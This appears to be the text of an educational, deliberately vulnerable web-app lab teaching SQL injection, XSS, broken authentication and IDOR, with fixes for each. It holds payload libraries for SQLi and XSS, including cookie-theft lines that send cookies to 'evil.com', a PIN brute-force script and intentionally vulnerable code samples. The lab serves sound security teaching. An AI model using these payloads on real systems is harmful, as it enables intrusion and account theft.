๐Ÿ† Points: 0
โš  EDUCATIONAL USE ONLY โ€” ETHICAL HACKING LAB

HACK-LAB LEARN ยท ATTACK ยท DEFEND

A deliberately vulnerable web application for learning ethical hacking. Explore real vulnerabilities, run attacks in a safe sandbox, and learn how to fix them โ€” all in your browser.

๐Ÿ’‰
SQL INJECTION
4 Levels
๐Ÿ“œ
XSS
3 Variants
๐Ÿ”“
BROKEN AUTH
3 Attacks
๐Ÿ”‘
IDOR
2 Scenarios
10+
CHALLENGES
4
VULN TYPES
๐Ÿ’‰

SQL INJECTION LAB

SQL Injection (SQLi) occurs when user input is embedded directly into SQL queries without sanitization. An attacker can manipulate queries to bypass authentication, dump databases, or execute commands.

โš  CRITICAL SEVERITY โ€” OWASP A03:2021 SQLi is consistently one of the most dangerous and prevalent web vulnerabilities. A single injection point can lead to complete database compromise, authentication bypass, and in some cases โ€” full server takeover.
 HOW SQL INJECTION WORKS

A developer writes a login query like this:

-- Vulnerable PHP code $query = "SELECT * FROM users WHERE username = '" . $_POST['user'] . "' AND password = '" . $_POST['pass'] . "'";

If a user types: ' OR '1'='1

The query becomes:

SELECT * FROM users WHERE username = '' OR '1'='1' AND password = ''

The condition '1'='1' is always TRUE โ†’ attacker logs in without credentials!

SQL Injection types:

CLASSIC / IN-BANDResults returned directly in the response. Easiest to exploit.
BLIND โ€” BOOLEANNo output shown, but app behaves differently based on TRUE/FALSE conditions.
BLIND โ€” TIME-BASEDUse SLEEP() to infer data. If query pauses, condition is TRUE.
UNION-BASEDAppend UNION SELECT to retrieve data from other tables in one query.
 VULNERABLE LOGIN FORM EASY

This login form is directly vulnerable. Try to bypass it using SQL injection payloads without knowing the password.

Try typing ' OR '1'='1 in the password field. Or try admin'-- in the username field. The -- comments out the rest of the SQL query!
โšก PAYLOAD LIBRARY โ€” Classic SQLi
' OR '1'='1Auth Bypass
admin'--Comment Injection
' OR 1=1--Always True
' OR 'x'='xString Comparison
' OR 1=1 LIMIT 1--LIMIT bypass
๐Ÿ‘ LIVE QUERY PREVIEW

Watch how your input changes the SQL query in real-time:

SELECT * FROM users WHERE username = 'admin' AND password = ''

Simulated database (users table):

id username password_hash role
1 admin 5f4dcc3b... ADMIN
2 alice e99a18c4... user
3 bob d8578edf... user
๐Ÿ”ฌ ATTACK ANATOMY

User inputs payload

Attacker enters ' OR '1'='1 in the password field instead of a real password.

String concatenation occurs

The developer's code glues input directly into SQL: WHERE pass = '' OR '1'='1'

Always-true condition

Since '1'='1' is always TRUE, the WHERE clause matches every row โ€” no password needed.

First row returned = login success

The database returns the first user (admin), and the app considers this a valid login.

 PRODUCT SEARCH โ€” UNION ATTACK MEDIUM

This search box queries a products table. Use UNION to steal data from the users table by appending your own SELECT.

First determine column count: try laptop' ORDER BY 3--. Then use: x' UNION SELECT username,password_hash,role FROM users--
โšก UNION PAYLOADS
laptop' ORDER BY 3--Step 1: Find columns
x' UNION SELECT username,password_hash,role FROM users--Step 2: Dump users
x' UNION SELECT table_name,2,3 FROM information_schema.tables--Enum tables
๐Ÿ“– UNION ATTACK EXPLAINED

UNION lets you append a second SELECT to the original query. Both must return the same number of columns.

-- Original vulnerable query: SELECT name, price, category FROM products WHERE name LIKE '%laptop%' -- After UNION injection: SELECT name, price, category FROM products WHERE name LIKE '%x%' UNION SELECT username,password_hash,role FROM users--
IMPACT Attacker can dump entire tables โ€” usernames, password hashes, emails, credit cards โ€” anything in the database.
๐Ÿ—„ DATABASE SCHEMA

Tables in this simulated database:

Table Columns
products name, price, category
users username, password_hash, role
sessions user_id, token, expires
 USER PROFILE โ€” BLIND BOOLEAN HARD

This endpoint looks up a user by ID. No data is returned โ€” only "User found" or "Not found". Use boolean conditions to extract info character by character.

The query is SELECT * FROM users WHERE id = {input}. Try: 1 AND SUBSTRING(username,1,1)='a'. If "found", first letter of username is 'a'. Keep going to extract the whole value!
โšก BLIND BOOLEAN PAYLOADS
1 AND 1=1Test TRUE condition
1 AND 1=2Test FALSE condition
1 AND SUBSTRING(username,1,1)='a'Extract char[0]
1 AND LENGTH(username)>3Check username length
1 AND SUBSTRING(password_hash,1,1)='5'Extract hash char
๐Ÿ“– BLIND BOOLEAN TECHNIQUE

With no output visible, attackers extract data bit-by-bit by asking TRUE/FALSE questions:

-- Is the first character of admin's password 'a'? SELECT * FROM users WHERE id = 1 AND SUBSTRING(password,1,1) = 'a' -- Found? โ†’ 'a' is correct, move to char 2 -- Not found? โ†’ try 'b', 'c', 'd'... until match
โฑ TIME-BASED VARIANT If no behavior change is visible, use: 1 AND SLEEP(5). A 5-second delay means the condition was TRUE.
-- Time-based: does admin exist? SELECT * FROM users WHERE id=1 AND IF(1=1, SLEEP(5), 0) -- Page loads slowly = vulnerable!
๐Ÿค– AUTO-EXTRACTOR DEMO

Watch automated extraction (simulated โ€” real tools like sqlmap do this 1000x faster):

[Click button to simulate automated blind SQLi extraction]
 CATEGORY FILTER โ€” ERROR-BASED EXPERT

This endpoint filters products by category. SQL errors are reflected in the response. Use error messages to extract database version and data.

Try: 1 AND EXTRACTVALUE(1, CONCAT(0x7e, version())) or 1 AND (SELECT 1 FROM(SELECT COUNT(*),CONCAT(version(),FLOOR(RAND(0)*2))x FROM users GROUP BY x)a)
โšก ERROR-BASED PAYLOADS
1'Trigger syntax error
1 AND EXTRACTVALUE(1,CONCAT(0x7e,version()))Get DB version
1 AND EXTRACTVALUE(1,CONCAT(0x7e,database()))Get DB name
1 AND EXTRACTVALUE(1,CONCAT(0x7e,user()))Get DB user
๐Ÿ“– ERROR-BASED TECHNIQUE

Some databases embed query results inside error messages. Attackers exploit this to extract data:

-- MySQL error-based via EXTRACTVALUE: SELECT * FROM products WHERE category = 1 AND EXTRACTVALUE(1,CONCAT(0x7e,version())) -- Error returned: ERROR: XPATH syntax error: '~8.0.32-MySQL' -- Database version is now visible in the error!
ROOT CAUSE Displaying raw database errors to users is a separate vulnerability (information disclosure) that enables error-based SQLi. Never show DB errors to end users!

๐Ÿ›ก HOW TO FIX SQL INJECTION

โŒ VULNERABLE code:

// NEVER DO THIS $q = "SELECT * FROM users WHERE user='".$user."'";

โœ… FIXED with prepared statements:

// PHP PDO โ€” Prepared Statement $stmt = $pdo->prepare( "SELECT * FROM users WHERE user=?" ); $stmt->execute([ $user ]); // Python โ€” Parameterized Query cursor.execute( "SELECT * FROM users WHERE user=%s", (user,) );
Use prepared statements / parameterized queries for ALL database interactions. This is the #1 fix.
Use an ORM (Sequelize, Django ORM, Hibernate) which handles parameterization automatically.
Apply input validation and whitelist expected data types (IDs should only be integers).
Use least privilege: database accounts should only have SELECT/INSERT, never DROP or FILE.
Never display raw database errors to users. Log them server-side only.
Use a WAF (Web Application Firewall) as a secondary defense layer, not primary.
๐Ÿ“œ

CROSS-SITE SCRIPTING (XSS) LAB

XSS allows attackers to inject malicious JavaScript into web pages viewed by other users. It can steal session tokens, perform actions on behalf of users, deface websites, and redirect victims to phishing pages.

โš  HIGH SEVERITY โ€” OWASP A03:2021 XSS affects ~2/3 of all web applications. With a single script tag, an attacker can steal every user's session cookies and impersonate them โ€” silently.
HOW XSS WORKS
๐Ÿ”ต REFLECTED XSS Payload is in the URL/request and reflected in the response. Requires tricking a user into clicking a malicious link. Not stored on server.
๐ŸŸก STORED XSS Payload is saved to the database and executes every time any user views the page. Most dangerous โ€” no social engineering needed after initial injection.
๐ŸŸฃ DOM-BASED XSS JavaScript on the page reads attacker-controlled data (URL hash, localStorage) and writes it to the DOM without sanitization. Pure client-side.
 SEARCH BAR โ€” REFLECTED XSS EASY

This search bar reflects your input directly in the page. Inject a script tag to execute JavaScript in the "victim's" browser.

Try: <script>alert('XSS')</script> or <img src=x onerror=alert(1)>. The onerror variant bypasses some filters!
โšก XSS PAYLOAD LIBRARY
<script>alert('XSS')</script>Basic Alert
<img src=x onerror=alert(document.cookie)>Cookie Steal
<svg onload=alert('XSS')>SVG Event
<body onpageshow=alert(1)>Body Event
<script>document.location='https://evil.com/?c='+document.cookie</script>Real Cookie Theft
๐Ÿ“– HOW REFLECTED XSS WORKS

Attacker crafts malicious URL

https://site.com/search?q=<script>document.location='https://evil.com/?c='+document.cookie</script>

Attacker sends link to victim

Via phishing email, SMS, social media. Often URL-encoded to look less suspicious.

Victim clicks link

Their browser sends the malicious URL to the server. Server reflects the payload in the HTML response: You searched for: <script>...</script>

Script executes in victim's browser

The browser sees valid HTML with a script tag and runs it. The attacker's site receives the victim's session cookie.

 COMMENT BOARD โ€” STORED XSS MEDIUM

This comment section saves your input and renders it for ALL users. Inject a payload here and it executes for every visitor.

Post <script>alert('Stored XSS โ€” I own every user who sees this!')</script> as a comment. It will fire for everyone who views this page.
๐Ÿ’ฌ COMMENT BOARD โ€” Vulnerable Renderer

[No comments yet โ€” posts will render here with NO sanitization]

๐Ÿ“– STORED XSS โ€” WHY IT'S WORSE
// Vulnerable server code (Node.js): app.post('/comment', (req, res) => { // Saves payload directly to DB db.save({ comment: req.body.comment }); }); app.get('/comments', (req, res) => { // Renders raw HTML from DB โ€” XSS! res.send(`<div>${comment}</div>`); });
REAL-WORLD IMPACT In 2018, British Airways suffered a stored XSS attack where attackers injected a skimmer script. ~500,000 customers had their credit card details stolen silently over 2 weeks.
๐Ÿ’ก COOKIE SIMULATION

Simulated session cookie for this "victim user":

A real XSS attack would exfiltrate this to the attacker's server silently.

 URL FRAGMENT โ€” DOM-BASED XSS HARD

This page reads from the URL hash (window.location.hash) and injects it into the DOM using innerHTML โ€” no server involved. Pure client-side XSS.

Try: <img src=x onerror=alert('DOM XSS')>. This works because the code does: element.innerHTML = location.hash
Page render output:
โšก DOM XSS PAYLOADS
<img src=x onerror=alert('DOM XSS')>IMG onerror
<iframe src=javascript:alert('XSS')>JS URI scheme
<details open ontoggle=alert(1)>HTML5 event
๐Ÿ“– DOM XSS EXPLAINED
// Vulnerable JavaScript on the page: const hash = window.location.hash.substring(1); // Dangerous sinks โ€” writes raw HTML: document.getElementById('output') .innerHTML = hash; // โ† VULNERABLE! document.write(hash); // โ† ALSO BAD eval(hash); // โ† EXTREMELY BAD // Attacker's URL: // site.com/page#<img src=x onerror=alert(1)>

Common dangerous sinks (where DOM XSS lands):

innerHTML  document.write()  eval()  location.href  setTimeout(string)

๐Ÿ›ก HOW TO FIX XSS

โŒ VULNERABLE:

// BAD โ€” raw HTML injection element.innerHTML = userInput; res.send(`<div>${userInput}</div>`);

โœ… FIXED:

// GOOD โ€” use textContent, not innerHTML element.textContent = userInput; // GOOD โ€” HTML entity encoding function escapeHtml(s) { return s .replace(/&/g, '&amp;') .replace(/</g, '&lt;') .replace(/>/g, '&gt;'); }
Use textContent instead of innerHTML when you only need to display text.
Apply context-aware output encoding โ€” HTML encode for HTML context, JS encode for script context, URL encode for URLs.
Implement a strict Content Security Policy (CSP) header to block inline scripts.
Use DOMPurify library if you must allow HTML input โ€” it safely sanitizes HTML.
Set the HttpOnly flag on session cookies to prevent JavaScript from reading them.
Use modern frameworks (React, Vue, Angular) that auto-escape output by default.
๐Ÿ”“

BROKEN AUTHENTICATION LAB

Broken Authentication covers vulnerabilities in login systems, session management, and password handling. Attackers exploit weak credentials, missing rate limiting, predictable tokens, and insecure sessions to hijack accounts.

โš  CRITICAL SEVERITY โ€” OWASP A07:2021 Credential stuffing attacks use billions of leaked username/password pairs (from data breaches) to automatically break into accounts that reuse passwords.
 ADMIN PANEL โ€” NO RATE LIMITING EASY

This login has no lockout, no rate limiting, no CAPTCHA. An attacker can send unlimited login attempts. The PIN is a 4-digit number.

๐Ÿค– AUTOMATED BRUTE FORCE SIMULATOR

Watch a simulated brute force attack try every PIN from 0000 to 9999. Real attacks use tools like Hydra, Burp Intruder.

Progress 0 / 10000
[Brute force simulator ready]
๐Ÿ“– BRUTE FORCE EXPLAINED

Brute force tries every possible combination until one works. A 4-digit PIN has only 10,000 possibilities:

# Python brute force (Hydra-like) import requests for pin in range(10000): r = requests.post('https://target/login', { 'user': 'admin', 'pin': str(pin).zfill(4) }) if 'Welcome' in r.text: print(f"FOUND: {pin}") break # Runs in seconds without rate limiting!
PASSWORD STATISTICS The most common PINs are: 1234, 0000, 1111, 1212, 7777. Attackers try these first โ€” always. An 8-character PIN has 100 million combinations but is cracked in ~28 hours at 1,000 attempts/sec.
๐Ÿ”ข ATTACK SPEED COMPARISON
Password Type Combinations Time (1k/sec)
4-digit PIN 10,000 10 seconds
6-char lowercase 308M 3.5 days
8-char mixed 218T 6,900 years
12-char complex 4.7ร—10ยฒยฒ Billions of years
 DICTIONARY ATTACK SIMULATOR MEDIUM

A dictionary attack tries known common passwords instead of every combination. Much faster โ€” most users use predictable passwords.

[Dictionary attack ready โ€” select wordlist and target]
๐Ÿ“– DICTIONARY VS BRUTE FORCE
WHY DICTIONARY ATTACKS WORK 80% of confirmed data breaches involve weak or stolen passwords (Verizon DBIR). People overwhelmingly choose predictable passwords: names, common words, "password" + numbers.
# Top passwords used in the wild: wordlist = [ "password", "123456", "password123", "admin", "letmein", "qwerty", "monkey", "dragon", "master", "sunshine", "princess", "welcome" ] # RockYou.txt has 14M real passwords # from a 2009 breach โ€” still works today!
CREDENTIAL STUFFING When a site is breached, attackers take leaked username:password pairs and automatically try them on hundreds of other sites. If you reuse passwords, this works.
๐Ÿ” ACCOUNT: alice

Current account credentials (hidden from attacker):

Username alice
Password [ click to reveal after attack ]
 SESSION HIJACKING LAB HARD

This simulates a session management system with a predictable/weak token. Forge a session token to log in as another user.

SCENARIO The app generates session tokens as: base64(username + timestamp). You know the admin username. Generate a valid admin token.
The token format is btoa("admin:" + timestamp). Click "Generate" to create a forged admin token, then "Use Token" to take over the session.
๐Ÿ“– SESSION HIJACKING METHODS

Token Prediction

If tokens are based on sequential IDs, timestamps, or username+hash, attackers can calculate valid tokens without authentication.

Cookie Theft via XSS

Using an XSS vulnerability, attacker runs: fetch('evil.com?c='+document.cookie) and captures victim's session.

Network Sniffing (HTTP)

On HTTP (not HTTPS), session cookies travel in plaintext. Anyone on the same network (coffee shop WiFi) can capture them with Wireshark.

Session Fixation

Attacker sets a known session ID before login. If app doesn't regenerate token after auth, attacker can use the pre-set ID to log in.

๐Ÿ”’ SESSION TOKEN COMPARISON
Token Type Security
Sequential ID (1,2,3...) CRITICAL
MD5(username) CRITICAL
base64(username+time) HIGH
SHA1 of timestamp MEDIUM
crypto.randomUUID() SECURE
HMAC-signed JWT SECURE

๐Ÿ›ก HOW TO FIX BROKEN AUTHENTICATION

// Rate limiting middleware (Express.js) const rateLimit = require('express-rate-limit'); const loginLimiter = rateLimit({ windowMs: 15 * 60 * 1000, // 15 min max: 5, // 5 attempts max message: 'Too many attempts' }); // Secure session token const sessionId = crypto.randomUUID(); // โœ“ // Password hashing (never store plaintext!) const hash = await bcrypt.hash(password, 12);
Implement account lockout after 5-10 failed attempts + exponential backoff.
Add rate limiting on authentication endpoints โ€” max 5 attempts per 15 minutes per IP.
Hash passwords with bcrypt, Argon2, or scrypt โ€” never SHA1/MD5/plaintext.
Generate session tokens using cryptographically secure random bytes (at least 128 bits).
Enforce multi-factor authentication (MFA), especially for admin accounts.
Set cookies with HttpOnly, Secure, SameSite=Strict flags. Regenerate token after login.
Implement CAPTCHA or proof-of-work on login after repeated failures.
๐Ÿ”‘

INSECURE DIRECT OBJECT REFERENCE (IDOR) LAB

IDOR occurs when an application uses user-controllable input to access objects (records, files, pages) without verifying the user is authorized. Changing an ID in a URL or request can expose other users' data.

โš  HIGH SEVERITY โ€” OWASP A01:2021 (Broken Access Control) IDOR is the most common access control flaw. A simple URL change like /api/user?id=1 โ†’ /api/user?id=2 may expose the next user's private data.
 USER PROFILE API โ€” NO AUTHZ CHECK EASY

You're logged in as User #3 (bob). The API returns profile data based on the user_id parameter without checking if you own that account.

VULNERABLE ENDPOINT GET /api/user/profile?user_id=[ANY_ID]
You're user #3. Try IDs 1 and 2 to access admin and alice's private profile data without their permission!
๐Ÿ‘ฅ USER DIRECTORY (simulated DB)
ID Username Email Role Private Data
1 admin admin@corp.com ADMIN SSN: 123-45-6789
2 alice alice@corp.com USER CC: 4532-XXXX-XXXX-4488
3 bob โ† YOU bob@corp.com USER Notes: "grocery list"
4 charlie charlie@corp.com USER Address: 42 Main St
๐Ÿ“– IDOR ANATOMY
// VULNERABLE โ€” no authorization check! app.get('/api/user/profile', (req, res) => { const userId = req.query.user_id; // user-controlled // Fetches ANY user's data โ€” no check! const user = db.find({ id: userId }); res.json(user); // returns private data! }); // FIXED โ€” check ownership: app.get('/api/user/profile', (req, res) => { const userId = req.query.user_id; const loggedIn = req.session.userId; // Ensure requested ID = logged in user if (userId !== loggedIn) { return res.status(403).json({error: 'Forbidden'}); } const user = db.find({ id: loggedIn }); res.json(user); });
๐ŸŒ REAL-WORLD IDOR EXAMPLES
Facebook 2015 โ€” IDOR in photo deletion allowed deletion of any user's photos by changing the photo_id parameter. Bug bounty: $12,500.
Instagram 2019 โ€” IDOR allowed viewing private posts by changing post IDs in the API. ~49M records exposed.
Banking Apps โ€” Changing account_number in balance API returns another customer's balance. Happens more than you'd think.
 INVOICE DOWNLOAD โ€” FILE IDOR MEDIUM

You're Customer #3. This endpoint lets you download invoices by invoice ID. No ownership check โ€” access any customer's invoice.

VULNERABLE ENDPOINT GET /api/invoices/[INVOICE_ID]/download
Your invoices are INV-301 and INV-302. Try INV-100, INV-101 (admin's invoices) or INV-200, INV-201 (alice's). The app will return them without checking ownership!
๐Ÿ“‹ INVOICE DATABASE (simulated)
Invoice ID Customer Amount Contains
INV-100 admin $45,000 Salary, Tax ID
INV-101 admin $12,000 Bank details
INV-200 alice $1,200 CC last 4, address
INV-201 alice $890 Phone, email
INV-301 bob โ†YOU $250 Your data
INV-302 bob โ†YOU $180 Your data
๐Ÿ“– IDOR BEYOND INTEGERS

IDOR isn't just about changing ?id=1 to ?id=2. Any user-controlled reference can be an IDOR:

# Numeric ID โ€” most obvious /api/users/1001 โ†’ /api/users/1002 # Predictable filename /files/invoice_alice_2024.pdf # Encoded ID (base64, not secure!) /api/order/dXNlcjoxMjM= (= "user:123") โ†’ decode โ†’ change โ†’ re-encode # UUID (harder, but still IDOR if guessable) /api/doc/a1b2c3d4-...

๐Ÿ›ก HOW TO FIX IDOR

// Pattern 1: Always use session context // NEVER trust user-supplied ID for ownership app.get('/api/invoice/:id', auth, (req, res) => { const invoice = db.invoices.find({ id: req.params.id, // Enforce ownership here: customer_id: req.session.userId }); if (!invoice) return res.status(403).send(); res.json(invoice); }); // Pattern 2: Use opaque references // Never expose raw DB IDs โ€” use UUIDs id: crypto.randomUUID() // hard to guess
Always verify the authenticated user owns or is authorized to access the requested object โ€” never trust the client-supplied ID alone.
Use indirect references: map user-specific IDs to real DB IDs server-side so external IDs don't correspond 1:1 to DB records.
Use random UUIDs instead of sequential integers for resource IDs to prevent enumeration.
Implement role-based access control (RBAC) โ€” define what each role can access and enforce it on every endpoint.
Log all access to sensitive resources and alert on anomalous ID enumeration patterns.
Conduct regular authorization testing โ€” test every API endpoint by trying to access resources owned by other users.
๐Ÿ›ก

COMPLETE FIX-IT GUIDE

A consolidated reference for fixing all vulnerabilities covered in this lab. Use this as a security checklist for your own applications.

๐Ÿ’‰ SQLi โ€” SEVERITY: CRITICAL
Parameterized queries / prepared statements
ORM with built-in escaping
Input type validation
Least-privilege DB accounts
Disable verbose SQL errors
๐Ÿ“œ XSS โ€” SEVERITY: HIGH
textContent over innerHTML
Output encoding by context
Strict Content Security Policy
DOMPurify for rich text
HttpOnly cookies
๐Ÿ”“ AUTH โ€” SEVERITY: CRITICAL
Rate limiting + lockout
bcrypt/Argon2 hashing
Cryptographic session tokens
MFA enforcement
Secure cookie flags
๐Ÿ”‘ IDOR โ€” SEVERITY: HIGH
Always verify ownership server-side
Use UUIDs not sequential IDs
Implement RBAC
Indirect reference maps
Log and alert on enumeration
Regular authorization testing
๐Ÿ“‹ OWASP TOP 10 QUICK CHECKLIST
# Vulnerability Quick Test Priority
A01 Broken Access Control Change user IDs in requests, try accessing admin routes CRITICAL
A02 Cryptographic Failures Check for HTTP, weak ciphers, plaintext passwords CRITICAL
A03 Injection (SQLi, XSS) Input special chars: ' " < > ; -- CRITICAL
A04 Insecure Design Threat modeling, design review HIGH
A05 Security Misconfiguration Default creds, verbose errors, open ports HIGH
A06 Vulnerable Components Run: npm audit / pip-audit MEDIUM
A07 Auth & Session Failures Brute force login, check cookie flags CRITICAL
A08 Software Integrity Failures Check CDN subresource integrity, CI/CD security HIGH
A09 Logging Failures Verify failed logins are logged, alerts exist MEDIUM
A10 SSRF Test URL inputs โ€” try internal IPs like 169.254.169.254 HIGH
๐Ÿ”ง RECOMMENDED SECURITY TOOLS

SCANNING & TESTING

โ€ข Burp Suite โ€” Web proxy/scanner โ€ข OWASP ZAP โ€” Free vulnerability scanner โ€ข sqlmap โ€” Automated SQL injection โ€ข Nikto โ€” Web server scanner

DEFENSIVE LIBRARIES

โ€ข DOMPurify โ€” HTML sanitization โ€ข helmet.js โ€” HTTP security headers โ€ข bcrypt / Argon2 โ€” Password hashing โ€ข express-rate-limit โ€” Rate limiting

LEARNING RESOURCES

โ€ข OWASP WebGoat โ€” Practice platform โ€ข HackTheBox โ€” CTF challenges โ€ข PortSwigger Web Academy โ€” Free labs โ€ข TryHackMe โ€” Guided learning